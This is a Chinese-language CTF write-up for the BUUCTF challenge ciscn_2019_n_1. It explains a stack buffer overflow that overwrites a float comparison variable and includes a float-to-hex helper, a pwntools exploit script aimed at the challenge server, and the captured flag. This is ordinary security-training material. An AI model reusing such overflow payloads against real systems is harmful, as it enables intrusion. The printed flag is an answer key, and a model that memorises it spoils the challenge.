pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
一 乐1 小时前
健康管理|基于springboot + vue健康管理系统(源码+数据库+文档)
java·前端·数据库·vue.js·spring boot·后端·学习
wdfk_prog1 小时前
[Linux]学习笔记系列 -- [fs]mnt_idmapping
linux·笔记·学习
旖旎夜光2 小时前
Linux(7)(下)
linux·学习
代码游侠2 小时前
学习笔记——HTML网页开发基础
运维·服务器·开发语言·笔记·学习·html
盖世灬英雄z2 小时前
数据结构与算法学习(一)
c++·学习·排序算法
week_泽2 小时前
OCR学习笔记,调用免费百度api
笔记·学习·ocr
叫我莫言鸭3 小时前
关于word生成报告的POI学习2循环标题内容
java·学习·word
秦明月133 小时前
EPLAN电气设计:图层导入与导出操作指南
数据库·经验分享·学习·学习方法·设计规范
小粉粉hhh4 小时前
记录前端菜鸟的日常——实现类似学习通的答题界面
学习
山土成旧客4 小时前
【Python学习打卡-Day33】你好,PyTorch!从“自动挡”到“手动挡”的深度学习之旅
python·深度学习·学习